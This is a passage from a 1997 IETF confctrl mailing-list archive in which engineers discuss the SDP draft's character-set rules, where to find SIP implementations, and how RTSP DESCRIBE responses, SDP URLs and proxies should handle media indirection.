Actually, it might be better to make this sentence refer to the text records as 
byte strings, since their character set depends on the value of the charset 
attribute. It might be ISO 10646, but it might not.

So this sentence could be replaced with "Text records such as the session name 
and information are byte strings that must be interpreted according to the value 
of the charset attribute. They may contain any byte with the exceptions of 0x0a 
(ASCII newline) and 0x0d (ASCII carriage return)." Of course, this would also 
require changing the text rule in the BNF. It should probably be revised anyway, 
as it seems to be restricted to ISO 10646 with UTF-8 and ISO 8859-1.

5) What if the charset parameter specifies a character set that uses 0A or 0D 
(the UTF-8 versions of 000A and 000D) for important characters? For instance, 
say ISO-10646-UCS-2 is chosen (or any other multibyte character set). 
Disallowing the use of 0A or 0D would eliminate lots of characters (all Gujarati 
characters in ISO-10646-UCS-2, for instance).

One way to solve this problem would be to provide a way to specify a content 
encoding (like quoted-printable or BASE64) that may be used in conjunction with 
the charset.

6) What should we do about language tags? Harald Alvestrand's I-D "IETF Policy 
on Character Sets and Languages" (draft-alvestrand-charset-policy-00.txt) says 
that "Protocols that transfer human-readable text MUST provide for multiple 
languages." We could add another attribute to identify the language used in this 
announcement (like a=language:language-tag). It would be nice to be able to send 
an announcement of a session in several languages at once, but that's a bit 
harder.

7) Just a nit, but the document should use MAY, MUST, SHOULD, and other key 
words to define requirements throughout, as described in RFC 2119. Right now, 
it's fairly loose.

8) At the bottom of page 19, it refers to an IANA registration procedure for 
protocol names. Is this defined somewhere?

9) Is it a goal to allow SDP descriptions to be transported in email without 
requiring encoding? If so, we might want to add a way to do line folding by 
specifying that the sequence CRLF SPACE is equivalent to a SPACE and may appear 
anywhere a SPACE may appear.

10) The BNF for attribute values is awfully restrictive. I would suggest that we 
add at least "+", "/", and "=" so that people can put BASE64 encoded objects in 
there. In fact, the frame rate attribute needs "." and the keywords attribute 
needs SPACE or some other separator. Is there any reason not to use the text 
rule? Of course, that raises the question of whether the charset attribute 
should apply to them.

Overall, this is a great draft and a very nice protocol. I enjoy using it. I 
just want to make sure it is specified clearly and properly.

Thanks,

Steve Hanna
Sun Microsystems, Inc.


From majordom@ISI.EDU  Thu Sep  4 10:26:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21854>; Thu, 4 Sep 1997 17:26:55 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21848>; Thu, 4 Sep 1997 17:26:53 -0700
Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.31])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA02054
	for <confctrl@ISI.EDU>; Thu, 4 Sep 1997 17:26:52 -0700 (PDT)
Received: by mail5.microsoft.com with Internet Mail Service (5.0.1459.27)
	id <R9ZRPTLG>; Thu, 4 Sep 1997 17:29:52 -0700
Message-Id: <114DB67712DCD011A63500805F385DB28568E3@RED-38-MSG.dns.microsoft.com>
From: Kaya Bekiroglu <t-kayab@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: SIP Implementations?
Date: Thu, 4 Sep 1997 17:26:50 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hello,

Are there any SIP-related web sites out there?  I'm wondering if a SIP
implementation couldn't be found. . .

Any information you can give would be greatly appreciated.

Thanks,

---
Kaya Bekiroglu
Program Manager, TAPI 3.0
NT Networking Group


From majordom@ISI.EDU  Thu Sep  4 16:30:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00628>; Thu, 4 Sep 1997 23:31:02 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00622>; Thu, 4 Sep 1997 23:31:01 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA09232
	for <confctrl@ISI.EDU>; Thu, 4 Sep 1997 23:31:00 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425425-132.ricochet.net) by murrow.prognet.com with SMTP id AA17473
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 4 Sep 1997 23:30:50 -0700
Message-Id: <3.0.3.32.19970904233034.00bac310@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 04 Sep 1997 23:30:34 -0700
To: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>,
        "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
From: Rob Lanphier <robla@prognet.com>
Subject: RE: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
Cc: confctrl@ISI.EDU
In-Reply-To: <E1F032A1F6FAD011BE6100805FD468021EE412@RED-40-MSG.dns.micr
 osoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 10:32 PM 9/3/97 -0700, Anders Klemets (VXtreme) wrote:
>On Thursday, August 28, 1997 10:47 AM, Rob Lanphier
>[SMTP:robla@prognet.com] wrote:
>> What this approach allows is the clean creation of a coordinator
>proxy.  By
>> returning this presentation description, the RTSP server is
>volunteering to
>> make the coordination happen, and thus isn't imposing it on the
>client.
>> The client can then treat the URLs as opaque stream identifiers.
>
>I think it is inconsistent to sometimes treat URLs as opaque stream
>identifiers, and sometimes not.  Below is an example of how this problem
>can be solved.  [double URL scheme proposed]
[...]
>
>Now, assuming the client is connected to proxy.com, the RTSP messages
>look like this:
>
>C->S:
>  DESCRIBE rtsp://proxy.com/rtsp://foo.com/something/other.sdp

This is *not* the way HTTP is dealing with proxies, to the best of my
knowledge.  If a client is hooked up to a proxy, the client uses:

GET http://foo.com/something/other.html HTTP/1.1

I see no reason to deviate from that.

However, double URLs *are* the way that early proxies solved the problem in
HTML, so your proposal for SDP would be analogous:

>S->C:
>  RTSP/1.0 200 1 OK
>  Date: Tue Jul 22 17:11:12 1997
>  Content-Type: application/sdp
>  Content-Length: 319
>  
>  v=0
>  o=- 2890844256 2890842807 IN IP4 127.0.0.1
>  s=<title string>
>  i=<more info> 
>  t=0 0
>  m=video 8002 RTP/AVP 31
>  c=IN URL rtsp://proxy.com/rtsp://oneplace.com/blah?trackID=47
>  m=audio 8004 RTP/AVP 3
>  c=IN URL rtsp://proxy.com/rtsp://theother.com/blech?trackID=48

My main problem with this then, is that when does one decide when to tear
off the "rtsp://proxy.com", and when doesn't it.  This isn't a terribly
hard problem, but I thnk ti's one we should acknowledge before we go down
this road. 

Not to sound like a broken record, but this does all become simpler when
the client and server both understand that the DESCRIBE response is for
*media initialization* and not *media indirection*.  We always get nervous
about session descriptions that come from one server, and streams that come
from another, because the likelihood for inaccurate information becomes far
less.  However, this idea that a DESCRIBE can lead to another DESCRIBE is
also no less palatable (how many DESCRIBES does one need to do?  It should
only have to ask for a description once for a session.).

As long as everyone is sensitive to the fact that servers that try to use
the DESCRIBE for media indirection aren't going to work with all
implementations of RTSP, I'm fine.  My problem comes when our client has
the feature foisted on it to synchronize streams from different servers as
a part of minimum compliance, that's when you have me up in arms.  If
people can assure me that this feature is not something that we aren't
going to foist on minimal implementations of multistream presentations, I'm
fine.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Fri Sep  5 05:04:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AB07764>; Fri, 5 Sep 1997 06:06:05 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07758>; Fri, 5 Sep 1997 06:06:04 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA13657
	for <confctrl@ISI.EDU>; Fri, 5 Sep 1997 06:06:04 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Sep  5 09:04:08 EDT 1997
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by research; Fri Sep  5 09:04:08 EDT 1997
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94]) by boole.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id JAA24391; Fri, 5 Sep 1997 09:04:19 -0400 (EDT)
Received: from dnrc.bell-labs.com (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id JAA28766; Fri, 5 Sep 1997 09:04:08 -0400 (EDT)
Message-Id: <34100347.251CF1CA@dnrc.bell-labs.com>
Date: Fri, 05 Sep 1997 09:04:07 -0400
From: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Kaya Bekiroglu <t-kayab@microsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: SIP Implementations?
References: <114DB67712DCD011A63500805F385DB28568E3@RED-38-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Kaya Bekiroglu wrote:
> 
> Hello,
> 
> Are there any SIP-related web sites out there?  I'm wondering if a SIP
> implementation couldn't be found. . .
> 
> Any information you can give would be greatly appreciated.

http://www.cs.columbia.edu/~hgs/sip contains information about SIP,
includind pending implementations. Additions and corrections welcome.

> 
> Thanks,
> 
> ---
> Kaya Bekiroglu
> Program Manager, TAPI 3.0
> NT Networking Group

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Fri Sep  5 07:55:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15407>; Fri, 5 Sep 1997 08:57:32 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15401>; Fri, 5 Sep 1997 08:57:31 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA17424
	for <confctrl@ISI.EDU>; Fri, 5 Sep 1997 08:57:30 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA06259; Fri, 5 Sep 1997 11:55:10 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Kaya Bekiroglu <t-kayab@microsoft.com>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: SIP Implementations? 
In-Reply-To: Your message of "Thu, 04 Sep 1997 17:26:50 PDT."
             <114DB67712DCD011A63500805F385DB28568E3@RED-38-MSG.dns.microsoft.com> 
Date: Fri, 05 Sep 1997 11:55:10 -0400
Message-Id: <6257.873474910@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Are there any SIP-related web sites out there?  I'm wondering if a SIP
>implementation couldn't be found. . .

I don't think anyone has a SIP implementation conforming to the
current spec yet, but some are close.  Sdr 2.4a6 has a SIP
implementation that conforms to somewhere between the last spec and
the current one.  I'll update it when I find time, but you can get the
current code from:
  
  http://north.east.isi.edu/sdr/

Cheers,
	Mark

From majordom@ISI.EDU  Fri Sep  5 04:24:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26983>; Fri, 5 Sep 1997 11:34:25 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26977>; Fri, 5 Sep 1997 11:34:23 -0700
Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA23927
	for <confctrl@ISI.EDU>; Fri, 5 Sep 1997 11:34:22 -0700 (PDT)
Received: by INET-01-IMC with Internet Mail Service (5.0.1459.27)
	id <R9ZM709L>; Fri, 5 Sep 1997 11:34:22 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE414@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'Rob Lanphier'" <robla@prognet.com>,
        "Henning Schulzrinne (BL)"
	 <hgs@dnrc.bell-labs.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
Date: Fri, 5 Sep 1997 11:24:20 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Thursday, September 04, 1997 11:31 PM, Rob Lanphier
[SMTP:robla@prognet.com] wrote:
> >  DESCRIBE rtsp://proxy.com/rtsp://foo.com/something/other.sdp
> 
> This is *not* the way HTTP is dealing with proxies, to the best of my
> knowledge.  If a client is hooked up to a proxy, the client uses:
> 
> GET http://foo.com/something/other.html HTTP/1.1

A difference between RTSP and HTTP is that in RTSP, the "rtsp://server"
part of the URL is not dropped when connecting directly to a server.  So
why should the "rtsp://caching-server" part be dropped when connecting
to a caching server?

But I hear that "double URLs" do not conform to the correct syntax for
URLs.  So it might be better, and look nicer, if a caching server
renames the URLs of streams that it has cached.  Suppose
"rtsp://server/clip" is cached.  The caching server would rename the
URL, and the SDP description would say something like this:

c=IN URL rtsp://caching-server/cacheid=12345

I like the possibility of being able to use SDP for media indirection.
Now, how consistency across servers is implemented is outside the scope
of RTSP and SDP.  If somebody wants to tackle this problem for their
servers, then that's fine.  I don't think receiving streams from
multiple servers would be much of a problem for a client.  Personally, I
think that RTSP compliant clients should be able to play streams from
multiple servers simultaneously.  I am not sure I have heard a good
reason for why this would be so hard.

So with media indirection allowed, when the client sends a DESCRIBE to
"caching-server-1" and gets an SDP description that contains the URL
"rtsp://other-caching-server/cacheid=1234", the client would contact
"other-caching-server" directly.

If media indirection is not allowed, on the other hand, the hostname
part of an RTSP URL loses its normal meaning in the context of an SDP
description.  If URLs are to be treated as opaque strings, then things
like "rtsp://cacheid=5467" would be valid.  Maybe it's better to use
relative URLs in such a situation.

Anders


From majordom@ISI.EDU  Fri Sep  5 10:04:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17324>; Fri, 5 Sep 1997 17:05:03 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17318>; Fri, 5 Sep 1997 17:05:01 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA05559
	for <confctrl@ISI.EDU>; Fri, 5 Sep 1997 17:05:00 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id RAA23692
	for <confctrl@ISI.EDU>; Fri, 5 Sep 1997 17:04:27 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA27754;
          Fri, 5 Sep 1997 17:04:25 -0700
Message-Id: <34109E0A.628575DA@netscape.com>
Date: Fri, 05 Sep 1997 17:04:26 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
Cc: "'Rob Lanphier'" <robla@prognet.com>,
        "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: Re: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
X-Priority: 3 (Normal)
References: <E1F032A1F6FAD011BE6100805FD468021EE414@RED-40-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anders Klemets (VXtreme) wrote:

> I like the possibility of being able to use SDP for media indirection.

It is  the indirection via DESCRIBE responses that is being disputed,
not the use of SDP as such.

> So with media indirection allowed, when the client sends a DESCRIBE to
>
> "caching-server-1" and gets an SDP description that contains the URL
> "rtsp://other-caching-server/cacheid=1234", the client would contact
> "other-caching-server" directly.

Now this bothers me at bit. Clearly if we allow indirection via DESCRIBE
responses, this is possible. But the right way to do it would be
REDIRECT(adds a describe roundrip, but still a better way,
IMHO).Indirection in SDP descriptions obtained by SAP, HTTP, SMTP etc.
are pretty useful and  logical.  Allowing it in DESCRIBE response
maintains generality, which is nice  since such indirection is likely in
server->client ANNOUNCE messages.
However, I do agree that its implementation should be optional, and as
suggested by others,  making an explicit disctinction between the two
types (with/without indirection) is a good idea.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Sat Sep  6 15:55:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18947>; Sat, 6 Sep 1997 22:51:23 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18935>; Sat, 6 Sep 1997 22:51:21 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA24531
	for <confctrl@isi.edu>; Sat, 6 Sep 1997 22:51:20 -0700 (PDT)
Received: from revelstoke.precept.com (port6.precept.com [204.162.119.56])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id WAA03353;
	Sat, 6 Sep 1997 22:50:49 -0700 (PDT)
Date: Sat, 6 Sep 1997 22:55:04 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: confctrl@ISI.EDU
Subject: Concern about c=IN URL
Message-Id: <Pine.PCW.3.95.970906225342.8862D-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 27 Aug 1997, Rob Lanphier wrote:
> NOTE: The examples below are slightly different than those in the
> draft03. This came from hallway discussions with various parties about how
> SDP and RTSP could be better integrated. The next draft will resolve this
> issue.

Rob mentioned in the Munich session that Mark Handley had suggested
the "c=IN URL" form.  This form bothers me, though I don't have a
strong argument against it.  Here are my reasons:

  - In traditional SDP usage, the c= line gives a destination address,
    not a source address.  That's true for both the multicast case,
    where the both have the multicast address in the SDP file, and in
    the unicast case, where each end gets an SDP file with the c= line
    giving the address of the other end.

  - For layered encodings, a "/n" suffix on the address specifies the
    number of addresses.  Where is this information going to go in the
    RTSP case?

I'm inclined to believe we have a fundamental problem with DESCRIBE
and SETUP.  As I understand it, the transport information is extracted
into the separate SETUP request and response to simplify the task of
proxies snooping on the RTSP control traffic to learn how to set up
for the data traffic.  In order to avoid having to specify a single
session description format, parts of the information that would
otherwise belong there are extracted into the SETUP command.  But it
looks to me like the setup command is likely to keep growing until it
becomes a session description format.
							-- Steve


From majordom@ISI.EDU  Sat Sep  6 15:51:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18889>; Sat, 6 Sep 1997 22:47:59 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18883>; Sat, 6 Sep 1997 22:47:58 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA24506
	for <confctrl@ISI.EDU>; Sat, 6 Sep 1997 22:47:57 -0700 (PDT)
Received: from revelstoke.precept.com (port6.precept.com [204.162.119.56])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id WAA03350;
	Sat, 6 Sep 1997 22:47:23 -0700 (PDT)
Date: Sat, 6 Sep 1997 22:51:37 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: "'Rob Lanphier'" <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
In-Reply-To: <34109E0A.628575DA@netscape.com>
Message-Id: <Pine.PCW.3.95.970906225036.8862C-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Attempting to catch up...

On Wed, 27 Aug 1997, Rob Lanphier wrote:
> When an arbitrary stream URL is specified in a DESCRIBE response
> (perhaps to an entirely different server), the client is expected to
> still send the SETUP message corresponding to that URL to the server
> that the DESCRIBE response came from.

I believe I was one of the people espousing this position in Munich,
and I believe it was in response to a proposal that the URLs returned
in a DESCRIBE be required to reference the same host as the aggregate
URL that invoked the RTSP session.

While one would expect that most DESCRIBE responses _would_ refer to
media sources on the same host, my point was that the RTSP protocol
did not need to require this.  I said that the SETUPs would all go to
the same place because that is what is implied by the existance of the
aggregate URL that returned the DESCRIBE response.  If you have to
send SETUPs to different hosts (and get session IDs back from those
hosts and send PLAYs to those hosts), then you don't have aggregate
control.

It was my assumption that when the media URLs indicated other hosts,
the data would be streamed directly from those other hosts even though
the RTSP commands would all be sent to the initial host.  That initial
host would have to serve as a coordination proxy (how it does that is
not RTSP's concern).  The transport address returned by the SETUP
would indicate which host was the media source, which I was assuming
would be the same as the host portion of the URL, though I suppose
that is not a requirement.  (Would it be useful at all for
authentication, say if the session decription were signed?)

When aggregate control is not possible, either because the resources
are on multiple servers that have no coordination, or even on a single
server that isn't capable of aggregate control for some reason, then
no aggregate RTSP URL would exist.  Instead there would be only the
separate RTSP URLs for each medium, each of which would return a
DESCRIBE response only for that medium.

The piece left unanswered by this position is how to describe a
session with multiple streams which the client is required to control
separately (accepting that some clients might have that capability
while others do not).  It could be just a list of RTSP URLs, but that
list would need to be contained somewhere that could be referenced.

As Henning points out, an SDP description would be one kind of
container we would want to use for this.  But should there be a
distinction that RTSP URLs in an SDP description retrieved via HTTP
would result in (DESCRIBEs and) SETUPs being sent separately to the
addresses in the URLs whereas RTSP URLs in an SDP description
retrieved by a DESCRIBE would result in SETUPs being sent to the host
that returned the description as I proposed above?  I admit this seems
inconsistent although the rules could be well-defined.

It seems we have two choices:

1.  Disallow RTSP redirection in a DESCRIBE response.  The media URLs
    are taken as opaque identifiers that are always sent to the same
    place as the initial, aggregate URL.  Proxy coordination is
    implied if different hosts are addressed.  This is as Rob
    specified in the first message of this thread.

    We suppose that RTSP URLs may also appear in SDP files obtained by
    other means, and in that case an RTSP session would be initiated
    separately for each RTSP URL, even if multiple URLs reference the
    same host, because the separate URLs imply no aggregate control.
    If aggregate control is provided, then one aggregate RTSP URL
    would be shown.

2.  Allow RTSP redirection in a DESCRIBE response.  If different hosts
    are specified in the media URLs, the SETUPs are sent there.  This
    means the aggregate URL is not really a promise of aggregate
    control; clients that cannot handle separate control of the media
    streams will just have to halt and catch fire.

    To specify a session in which media streams will come from
    separate hosts but proxy coordination is provided, the media URLs
    are required to address the same host as the aggregate URL.  The
    format of these URLs could be up to the RTSP server, following
    several suggestions that have been made in this thread:

	rtsp://proxy.com/oneplace.com/blah/trackID=47
	rtsp://proxy.com/cacheid=12345
	rtsp://proxy.com/rtsp://foo.com/something/other.sdp

    (There seems to be some difference of opinion as to whether or not
    this third form is valid for URLs; I don't know, but if it is
    valid, I think the whole thing should be sent in the SETUP, as is
    the case for all other RTSP URLs, rather than requiring that the
    client strip off the first part.)

I could live with either of these choices, though I lean toward the
first.


What follows are a few other specific comments to messages in this
thread:

On Thu, 28 Aug 1997, Henning Schulzrinne (BL) wrote:
> (Because of that, it is probably a good idea to make Session id's
> globally unique. It certainly can't hurt.)

Globally over what space?  Do you mean they should be mondo IDs unique
across all hosts?  What would that gain?  It seems to me that there is
no aggregate control if the SETUPs are sent to multiple hosts.

On Thu, 28 Aug 1997, Rob Lanphier wrote:
> One thing that we could do is have a separate syntax for when media
> indirection is actually desired.  For instance:
...
>    c=IN URL rtsp://oneplace.com/blah/trackID=47
...
>    a=murl:rtsp://oneplace.com/blah/trackID=47

I don't like the idea of two different forms.

On Thu, 28 Aug 1997, Henning Schulzrinne (BL) wrote:
> Note that we also need a description format (RTSL, SDP) to be retrieved
> via HTTP, to find out the component sessions and

Yes, for some scenarios.  But:

> since directly
> including an rtsp:// URL in a web page is not going to be very
> useful.

Why not?  I'm missing something here.  It seems to me that having an
rtsp:// URL behind an icon on a web page is one of the most likely
usage scenarios.  This may often be an aggregate URL.

On Wed, 3 Sep 1997, Anders Klemets (VXtreme) wrote:
> If a client gets an RTSP URL from an HTML EMBED or OBJECT tag, the URL
> can look in two different ways:
> 
> rtsp://proxy.com/rtsp://foo.com/something/other.sdp
> 
> or
> 
> rtsp://foo.com/something/other.sdp
> 
> In this second case, the client needs to know, somehow, that it is
> supposed to send the RTSP DESCRIBE command to "proxy.com".  Perhaps it
> is a manual configuration parameter, or maybe a some client
> autoconfiguration protocol is used for this purpose.

Knowing that URLs received in a DESCRIBE response should be sent back
to the same host seems like a reasonable implication because of the
immediate association, but I don't understand how the suggestion here
to have a configuration parameter for the HTML case would work out.

> Note also, that unless the proxy is some sort of "virtual" proxy, i.e.
> it has multiple domain names, any RTSP commands that it gets will always
> start with "rtsp://proxy.com".  Anything else should result in a 3xx (or
> 4xx?) error code.  It was for the sole purpose of supporting virtual
> servers (e.g. "abc.com" and "cbs.com" handled by the same server) that
> we decided to transmit the "rtsp://hostname:port" portion of the URL,
> isn't that right?

If the RTSP URLs in a DESCRIBE response are not opaque, and if
different domain names of the same host are used for different media,
then the control would wind up being separate rather than aggregate.

On Thu, 4 Sep 1997, Rob Lanphier wrote:
> However, this idea that a DESCRIBE can lead to another DESCRIBE is
> also no less palatable (how many DESCRIBES does one need to do?  It should
> only have to ask for a description once for a session.).

You only need to do another DESCRIBE when an indirection has
occurred.  Presumably that chain will end.  It seems that getting
another description after the indirection is more likely to give
accurate media description information than not doing so.

On Fri, 5 Sep 1997, Anders Klemets (VXtreme) wrote:
> I don't think receiving streams from
> multiple servers would be much of a problem for a client.  Personally, I
> think that RTSP compliant clients should be able to play streams from
> multiple servers simultaneously.  I am not sure I have heard a good
> reason for why this would be so hard.

Are you talking about media (RTP) streams coming from multiple
servers, or separate RTSP control connections to multiple servers.  I
agree that having the data come from multiple servers should make very
little difference, but separate RTSP sessions means the client must
manage synchronization of the starting and stopping.  Certainly this
can be done, it just takes more work.
							-- Steve


From majordom@ISI.EDU  Sun Sep  7 03:24:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27345>; Sun, 7 Sep 1997 10:24:40 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27332>; Sun, 7 Sep 1997 10:24:38 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA00666
	for <confctrl@ISI.EDU>; Sun, 7 Sep 1997 10:24:38 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-58.ricochet.net) by murrow.prognet.com with SMTP id AA27073
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Sun, 7 Sep 1997 10:24:31 -0700
Message-Id: <3.0.3.32.19970907102416.00e11404@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 07 Sep 1997 10:24:16 -0700
To: Stephen Casner <casner@precept.com>, confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Concern about c=IN URL
In-Reply-To: <Pine.PCW.3.95.970906225342.8862D-100000@revelstoke.precept
 .com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 10:55 PM 9/6/97 -0700, Stephen Casner wrote:
>I'm inclined to believe we have a fundamental problem with DESCRIBE
>and SETUP.  As I understand it, the transport information is extracted
>into the separate SETUP request and response to simplify the task of
>proxies snooping on the RTSP control traffic to learn how to set up
>for the data traffic.  In order to avoid having to specify a single
>session description format, parts of the information that would
>otherwise belong there are extracted into the SETUP command.  

It's not that we are trying to avoid having a single session description
format, it's that, unlike with SAP/RTP-style multicast, the recipient has
some say in what the sender does.  This requires a reply/response mechanism
(ala SETUP).  Furthermore, there is a need to break media description away
from transport description, since informing the client of media description
is relatively static and doesn't necessarily involve any server state,
whereas the transport initialization does involve state on the server.

>But it
>looks to me like the setup command is likely to keep growing until it
>becomes a session description format.

Not true.

*  There will never be media initialization information in the SETUP
command.  It is purely for transport information.  The bulk of session
description formats like SDP are media initialization.

*  There is one SETUP message per stream, as opposed to one SDP description
per session.  This greatly simplifies the syntax of the message.

Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Sun Sep  7 07:54:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00996>; Sun, 7 Sep 1997 14:54:38 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00989>; Sun, 7 Sep 1997 14:54:35 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
